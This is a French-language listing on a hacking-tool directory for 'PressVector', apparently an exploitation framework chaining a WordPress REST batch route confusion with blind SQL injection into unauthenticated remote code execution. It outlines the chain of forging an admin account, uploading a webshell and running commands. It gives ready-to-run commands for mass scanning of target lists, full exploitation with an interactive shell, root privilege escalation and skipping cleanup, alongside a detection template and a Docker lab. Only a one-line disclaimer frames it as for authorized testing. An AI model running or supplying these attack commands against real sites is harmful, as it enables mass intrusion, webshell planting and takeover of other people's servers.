Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
PressVector — PressVector - Scanner avancé de vulnérabilités WordPress CVE-2026-63030 (confusion de routes batch REST) / CVE-2026-60137 (SQLi) Développeur : Vulnquest | Kitploit
Outils/GitHubGitHub/vulnquest58/pressvector
ReconnaissanceScanners de VulnérabilitésScanners de Vulnérabilités WebCollecte d'InformationsSécurité WebTests d'Intrusion
GitHubvulnquest58/pressvector

PressVector

PressVector - Scanner avancé de vulnérabilités WordPress CVE-2026-63030 (confusion de routes batch REST) / CVE-2026-60137 (SQLi) Développeur : Vulnquest

Voir le dépôt
1133il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🧨 PressVector — Framework d'exploitation WordPress CVE-2026-63030 / CVE-2026-60137

⚡ Framework d'exploitation avancé RCE pré-auth & SQLi en aveugle pour le cœur de WordPress


📌 Aperçu

PressVector est un framework d'exploitation complet et entièrement automatisé ciblant CVE-2026-63030 et CVE-2026-60137 — deux vulnérabilités critiques du cœur de WordPress qui, combinées, permettent une exécution de code à distance non authentifiée.

Le framework enchaîne une confusion de route REST Batch avec une injection SQL en aveugle pour forger des sessions administrateur, déployer des webshells et exécuter des commandes OS arbitraires — le tout sans aucun identifiant.

⚠️ Uniquement pour les tests de sécurité autorisés et à des fins éducatives.


🔍 Qu'est-ce que CVE-2026-63030 (wp2shell) ?

CVE-2026-63030 est une vulnérabilité critique de RCE pré-authentification dans le cœur de WordPress, découverte par Adam Kues (Assetnote / Searchlight Cyber). L'exploit enchaîne deux vulnérabilités indépendantes :

CVEAvisTypeImpact
CVE-2026-63030GHSA-ff9f-jf42-662qConfusion de route REST BatchRCE pré-auth
CVE-2026-60137GHSA-fpp7-x2x2-2mjfInjection SQL author__not_inSQLi en aveugle pré-auth

💥 Chaîne d'exploitation

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 Versions affectées

Version de WordPressCVE applicablesImpactStatut
6.8.0 – 6.8.5CVE-2026-60137🟡 Blind SQLi (Élevé)❌ Vulnérable
6.9.0 – 6.9.4CVE-2026-63030 + CVE-2026-60137🔴 RCE Pre-Auth (Critique)❌ Vulnérable
7.0.0 – 7.0.1CVE-2026-63030 + CVE-2026-60137🔴 RCE Pre-Auth (Critique)❌ Vulnérable
7.1-alpha / 7.1-beta1CVE-2026-60137🟡 SQLi (Élevé)❌ Vulnérable
6.8.6+ / 6.9.5+ / 7.0.2+—✅ Corrigé✅ Sûr

📦 Installation

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ Outils inclus

1️⃣ pressvector.py — Framework d'exploitation principal

Framework d'exploitation complet avec 4 modes de fonctionnement.

🔎 scan — Scanner de vulnérabilités multi-cibles

Scanner rapide et multi-threadé pour détecter les installations WordPress vulnérables à grande échelle.

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — Confirmation d'injection SQL en aveugle

Confirmez une injection SQL en aveugle basée sur le temps sur une cible unique avec calibration temporelle.

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — Chaîne d'exploitation RCE complète

Exploitation complète : forgeage d'admin → déploiement d'un webshell → exécution de commandes.

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — Élévation de privilèges

Tenter une élévation de privilèges locale après avoir obtenu une RCE.

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — Modèle de détection Nuclei

Un modèle Nuclei prêt pour la production, destiné à la détection passive à grande échelle.

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

Fonctionnalités du modèle :

  • 🔍 Détection de version multi-sources (meta generator + repli sur le flux RSS)
  • 📡 Empreinte de l'espace de noms de l'API REST
  • 🎯 Sondage par lots de l'accessibilité des routes
  • 📋 Sortie dynamique : version, type de CVE, vecteur d'attaque

🧪 Environnement de laboratoire (Docker)

Un laboratoire de tests d'intrusion entièrement automatisé et conteneurisé est inclus pour tester ces vulnérabilités de manière sûre et isolée.

Démarrage rapide

Windows (PowerShell) :

cd pressvector-lab
.\start-lab.ps1

Linux / macOS :

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(Attendez environ 60 à 90 secondes lors du premier lancement pour que l'installateur WP-CLI configure automatiquement tous les sites WordPress).

Services et ports du lab

PortServiceVersion de WordPressVulnérabilité / Statut
8080Cible 16.8.5CVE-2026-60137 (SQLi aveugle uniquement) 🔴
8081Cible 26.9.4CVE-2026-63030 (RCE pré-authentification) 🔴
8082Cible 37.0.1CVE-2026-63030 (RCE pré-authentification) 🔴
8083RéférenceDernière versionCorrigé / Référence sûre ✅
8084PHPMyAdmin—Outil de gestion de base de données
8085Tableau de bord du lab—Interface web avec statut des cibles et commandes copiables 🖥️

Identifiants administrateur : admin / admin123
Mot de passe root MySQL : root

Vérification et tests automatisés

Vous pouvez vérifier l'état complet du lab et les chemins d'exploitation à l'aide de la suite de tests automatisés :

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

Commandes de contrôle du lab

  • Arrêter le lab (conserver les données) : Exécutez stop-lab.sh ou .\stop-lab.ps1
  • Réinitialiser le lab (effacer les données et nettoyer le build) : Exécutez reset-lab.sh ou .\reset-lab.ps1
Télécharger l’outil